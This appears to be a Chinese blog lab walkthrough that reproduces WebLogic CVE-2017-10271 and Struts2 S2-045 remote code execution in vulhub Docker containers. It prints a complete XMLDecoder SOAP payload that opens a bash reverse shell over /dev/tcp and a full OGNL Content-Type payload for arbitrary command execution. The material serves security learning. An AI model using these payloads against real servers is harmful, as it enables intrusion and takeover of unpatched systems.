Java反序列化漏洞复现(weblogic和s2)

文章目录

  • weblogic
    • 启动环境
    • 漏洞扫描
    • 漏洞复现
  • S2-045
    • 启动环境
    • 漏洞复现

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

weblogic

启动环境

到下面路径下:

cd vulhub/weblogic/CVE-2017-10271

启动容器:

sudo docker-compose up -d

如图,启动成功:

在这里插入图片描述

bp浏览器打开靶场环境:

在这里插入图片描述

漏洞扫描

打开终端,到下面路径:

cd tools/nacs/0.0.3/nacs_linux_amd64

启动nacs:

./nacs

如图,启动成功:
在这里插入图片描述

扫描端口:

sudo ./nacs -h 10.9.75.45 -pa 7001

扫描到存在的漏洞编号:

在这里插入图片描述

漏洞复现

访问网页127.0.0.1:7001/wls-wsat/CoordinatorPortType,出现下面页面,存在这个页面说明有反序列化漏洞:
在这里插入图片描述

bp抓包后发送到repeater模块,右键改成post方法,点击发送:

在这里插入图片描述

将下面的漏洞利用代码

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

粘贴到数据包中,因为这段代码是xml格式,所以要修改该数据包的类型为text/cml:

在这里插入图片描述

修改利用代码中反弹shell的IP,改为服务器可以访问的任意地址即可,这里改为kali的本机地址:

在这里插入图片描述

kali监听21端口:

在这里插入图片描述

bp中发送请求包:

在这里插入图片描述

反弹shell成功:
在这里插入图片描述

S2-045

启动环境

到下面目录:

cd vulhub/struts2/s2-045

输入命令安装并启动环境:

sudo docker-compose up -d && sudo docker-compose up -d

安装中:

在这里插入图片描述

安装成功启动时报错,提示我们8080端口被占用:

在这里插入图片描述

复制一个配置文件:

cp docker-compose.yml docker-compose.me.yml

打开并修改端口为8081:

vim docker-compose.me.yml

如图,修改成功:

在这里插入图片描述

以修改后的文件启动环境:

sudo docker-compose -f docker-compose.me.yml up -d 

启动成功:

在这里插入图片描述

漏洞复现

在浏览器中输入10.9.75.45:8081打开环境:

在这里插入图片描述

bp抓包后发送到repeater模块,右键将方法改为post

将下面漏洞验证代码的Content-Type:字段复制

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

替换数据包的Content-Type:字段:

在这里插入图片描述

发包,回应包中输出了233*233的value值,说明的确存在s2-045漏洞:

在这里插入图片描述

将下面漏洞利用代码

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

复制到content-Type字段,修改#cmds字段就能执行相应的命令,相当于已经获得一个webshell。

执行ip a:

在这里插入图片描述

执行touch EMT.txt&&ls,新建了一个文件并查看:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/104016.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AP51656 LED车灯电源驱动IC 兼容替代PT4115 PT4205 PWM和线性调光

产品描述 AP51656是一款连续电感电流导通模式的降压恒流源 用于驱动一颗或多颗串联LED 输入电压范围从 5V 到 60V&#xff0c;输出电流 可达 1.5A 。根据不同的输入电压和 外部器件&#xff0c; 可以驱动高达数十瓦的 LED。 内置功率开关&#xff0c;采用高端电流采样设置 …

第64步 深度学习图像识别:多分类建模误判病例分析(Pytorch)

基于WIN10的64位系统演示 一、写在前面 上期我们基于TensorFlow环境介绍了多分类建模的误判病例分析。 本期以健康组、肺结核组、COVID-19组、细菌性&#xff08;病毒性&#xff09;肺炎组为数据集&#xff0c;基于Pytorch环境&#xff0c;构建SqueezeNet多分类模型&#xf…

Prometheus+Grafana 搭建应用监控系统

一、背景 完善的监控系统可以提高应用的可用性和可靠性&#xff0c;在提供更优质服务的前提下&#xff0c;降低运维的投入和工作量&#xff0c;为用户带来更多的商业利益和客户体验。下面就带大家彻底搞懂监控系统&#xff0c;使用Prometheus Grafana搭建完整的应用监控系统。 …

Pandas数据中的浅拷贝与深拷贝

pandas库主要有两种数据结构DataFrames和Series。这些数据结构在内部用索引数组和数据数组表示&#xff0c;索引数组标记数据&#xff0c;数据数组包含实际数据。现在&#xff0c;当我们试图复制这些数据结构&#xff08;DataFrames和Series&#xff09;时&#xff0c;我们实际…

【Github】git本地仓库建立与远程连接

文章目录 前言一、git简介二、git下载2.1下载地址 三、git安装3.1安装3.2 配置3.3 config设置&#xff08;增删改查&#xff09; 四.github与git连接——本地Git仓库4.1 建本地的版本库4.2 源代码放入本地仓库4.3提交仓库 五、github与git的连接——远程连接5.1 创建SSH Key5.2…

调用API接口的一些注意技巧

在实践中我们经常发现&#xff0c;很多同学都是直接请求调用和读取接口数据&#xff0c;而没有做状态码的判断&#xff0c;这在设计角度是非常不合理的。 另外&#xff0c;对于一些实时性要求不高的接口&#xff0c;更合理的做法应该是先把数据拉到本地缓存&#xff0c;再从缓存…

openpnp - 底部相机高级矫正后,底部相机看不清吸嘴的解决方法

文章目录 openpnp - 底部相机高级矫正后,底部相机看不清吸嘴的解决方法概述解决思路备注补充 - 新问题 - N1吸嘴到底部相机十字中心的位置差了很多END openpnp - 底部相机高级矫正后,底部相机看不清吸嘴的解决方法 概述 自从用openpnp后, 无论版本(dev/test), 都发现一个大概…

数字图像处理:亮度对比度-几何变换-噪声处理

文章目录 数字图像增强亮度与对比度转换几何变换图像裁剪尺寸变换图像旋转 噪声处理添加噪声处理噪声 数字图像增强 亮度与对比度转换 图像变换可分为以下两种&#xff1a; 点算子&#xff1a;基于像素变换&#xff0c;在这一类图像变换中&#xff0c;仅仅根据输入像素值计算…

47、TCP的流量控制

从这一节开始&#xff0c;我们学习通信双方应用进程建立TCP连接之后&#xff0c;数据传输过程中&#xff0c;TCP有哪些机制保证传输可靠性的。本节先学习第一种机制&#xff1a;流量控制。 窗口与流量控制 首先&#xff0c;我们要知道的是&#xff1a;什么是流量控制&#xff…

MR源码解析和join案例

MR源码解析 new Job(): 读取本地文件, xml配置job.start(): 启动线程job的run():线程方法 runTasks(): 传入对应的接口&#xff0c;启动map或者reduceMapTask类的run(): 设置map阶段的参数&#xff0c;初始化任务&#xff0c;创建上下文对象 创建读取器LineRecordReader判断是…

Windows下搭建MavLink通信协议环境,并用C++程序测试

搭建环境 git克隆 git clone https://github.com/mavlink/mavlink.git --recursive安装python的future库 pip install future使用可视化工具生成mavlink库 XML是选择消息格式&#xff0c;也可以自定义Out是输出路径Language是生成的语言&#xff0c;我这里是CProtocol是协议…

“五度晟企通”企业发展服务平台正式发布,帮扶企业行稳致远!

在数字中国建设的大背景下&#xff0c;“五度易链”以企业实际发展需求为牵引&#xff0c;以帮扶企业行稳致远为目标&#xff0c;基于全体量产业大数据&#xff0c;运用NLP、AI等新一代信息技术&#xff0c;打造了数字化ToB企业发展服务平台“五度晟企通”&#xff0c;旨在以数…